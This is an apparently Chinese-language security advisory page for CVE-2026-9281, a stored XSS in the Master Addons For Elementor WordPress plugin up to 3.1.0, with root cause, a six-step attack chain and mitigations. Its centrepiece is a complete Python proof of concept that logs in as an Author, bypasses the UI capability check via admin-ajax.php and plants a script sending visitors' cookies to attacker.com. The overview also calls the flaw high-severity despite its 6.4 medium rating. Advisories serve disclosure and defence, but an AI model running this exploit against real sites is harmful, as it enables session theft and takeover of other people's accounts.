IPBUF安全漏洞报告
English
CVE-2026-9281 CVSS 6.4 中危

CVE-2026-9281: Master Addons For Elementor插件存储型XSS漏洞

披露日期: 2026-06-06

漏洞信息

漏洞编号
CVE-2026-9281
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Master Addons For Elementor WordPress插件

相关标签

存储型XSSWordPress插件漏洞Elementor扩展漏洞权限绕过CVE-2026-9281Master Addons For ElementorCross-Site ScriptingAuthenticated AttackCustom JS Extension

漏洞概述

CVE-2026-9281是WordPress插件Master Addons For Elementor中的一个高危安全漏洞。该插件是Elementor页面构建器的热门扩展,提供小部件、扩展、主题构建器、弹出窗口构建器和模板套件等功能。漏洞存在于插件的Custom JS Extension(自定义JS扩展)功能中,具体是通过jtlma_custom_js页面设置触发的存储型跨站脚本(XSS)漏洞。漏洞影响版本从初始版本直至3.1.0版本,由于该插件在WordPress生态中拥有超过10万次安装,因此该漏洞可能影响大量网站。攻击者利用此漏洞可以在受影响的页面中注入任意JavaScript代码,当其他用户访问这些被注入恶意脚本的页面时,攻击代码会在受害者浏览器中执行,可能导致会话劫持、凭据窃取、管理后台权限提升等严重后果。由于该漏洞需要认证才能利用,最低需要作者级别(Author)的用户权限,因此主要威胁来自内部恶意用户或被窃取高权限账户凭证的攻击者。

技术细节

该漏洞的根本原因在于插件对jtlma_custom_js参数的处理存在严重的输入验证和输出编码缺陷。在插件的custom-js.php文件中(第206、214、80行),Custom JS Extension功能允许用户在页面级别注入自定义JavaScript代码。问题在于该功能仅在Elementor控制注册阶段(UI渲染时)实施了unfiltered_html能力检查,但在实际保存过程中并未进行充分验证。这导致攻击者可以通过直接向admin-ajax.php?action=elementor_ajax端点发送构造的POST请求,绕过UI层面的权限限制。攻击者以Author角色登录后,构造包含恶意JavaScript代码的jtlma_custom_js参数,通过Elementor的AJAX保存机制写入数据库。由于数据存储时未进行适当的输入清理,且在页面渲染输出时缺乏输出转义处理,恶意脚本会被永久存储在页面数据中。当任何用户访问包含该页面的网站时,浏览器会执行注入的JavaScript代码,实现存储型XSS攻击。攻击者可以利用此漏洞窃取管理员Cookie、创建恶意管理员账户、或在受害者浏览器中执行任意操作。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress版本以及是否安装了Master Addons For Elementor插件且版本不超过3.1.0
STEP 2
账户获取
攻击者获取目标WordPress网站的Author级别或更高权限的用户账户,可通过凭据填充、钓鱼攻击或内部威胁实现
STEP 3
构造恶意请求
攻击者构造包含恶意JavaScript代码的jtlma_custom_js参数,通过直接调用admin-ajax.php?action=elementor_ajax端点绕过UI层面的unfiltered_html能力检查
STEP 4
注入存储
恶意脚本通过Elementor AJAX保存机制被写入数据库,由于缺乏输入清理,恶意代码被永久存储在页面数据中
STEP 5
触发执行
当其他用户访问被注入恶意代码的页面时,浏览器解析页面内容并执行存储的JavaScript代码,实现XSS攻击
STEP 6
攻击完成
攻击者通过XSS成功窃取用户会话Cookie、凭据或执行其他恶意操作,可能导致账户接管或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from bs4 import BeautifulSoup # CVE-2026-9281 PoC - Stored XSS in Master Addons For Elementor # Target: WordPress with Master Addons For Elementor plugin <= 3.1.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "author_password" def get_nonce(session, admin_url): """Get Elementor nonce for AJAX requests""" response = session.get(admin_url) soup = BeautifulSoup(response.text, 'html.parser') nonce_input = soup.find('input', {'id': '_wpnonce'}) elementor_nonce = soup.find('input', {'name': '_nonce', 'value': True}) return nonce_input['value'] if nonce_input else None, elementor_nonce['value'] if elementor_nonce else None def exploit_stored_xss(): """Exploit CVE-2026-9281: Inject malicious JS via Custom JS Extension""" session = requests.Session() # Step 1: Login as Author user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Get page with Elementor editor pages_url = f"{TARGET_URL}/wp-admin/edit.php?post_type=page" response = session.get(pages_url) # Step 3: Create or edit a page to get Elementor nonce page_url = f"{TARGET_URL}/wp-admin/post.php?post=1&action=elementor" response = session.get(page_url) # Step 4: Extract nonces wp_nonce, elementor_nonce = get_nonce(session, page_url) # Step 5: Inject malicious JavaScript via jtlma_custom_js ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Malicious payload - steals admin cookies malicious_js = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" exploit_data = { 'action': 'elementor_ajax', 'canvas': '1', '_nonce': elementor_nonce, 'ver': '1', 'context': 'editor', 'data': { 'actions': { 'save_builder': { 'data': { 'post_id': '1', 'elements': [], 'settings': { 'jtlma_custom_js': malicious_js } } } } } } # Step 6: Send exploit request (bypasses UI-level restriction) response = session.post(ajax_url, json=exploit_data) print(f"[*] Exploit sent. Response: {response.status_code}") print(f"[*] XSS payload injected into page ID 1") print(f"[*] Any user visiting the page will execute the malicious JS") if __name__ == "__main__": exploit_stored_xss()

影响范围

Master Addons For Elementor插件 <= 3.1.0

防御指南

临时缓解措施
临时缓解措施:1) 限制Author及以上级别用户的注册和权限分配;2) 禁用或限制Elementor编辑功能对低权限用户的使用;3) 部署Web应用防火墙(WAF)规则检测异常的elementor_ajax请求;4) 监控admin-ajax.php的异常请求模式;5) 考虑暂时禁用Master Addons插件的Custom JS Extension功能;6) 实施严格的访问控制,确保只有完全可信的用户才能访问WordPress管理后台。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表